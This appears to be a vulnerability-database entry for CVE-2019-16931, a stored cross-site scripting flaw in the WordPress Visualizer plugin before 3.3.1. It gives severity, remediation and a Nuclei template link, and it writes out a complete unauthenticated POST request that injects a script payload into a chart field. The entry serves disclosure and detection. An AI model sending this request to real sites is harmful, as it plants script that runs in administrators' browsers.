| Title | WordPress Visualizer <3.3.1 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01991 |
| CVE ID | CVE-2019-16931 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 wp-plugin wordpress wp xss unauth wpscan themeisle vuln |
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Content-Length: 77
Content-Type: application/json
Accept-Encoding: gzip
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16931.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-16931.pcap
N/AN/A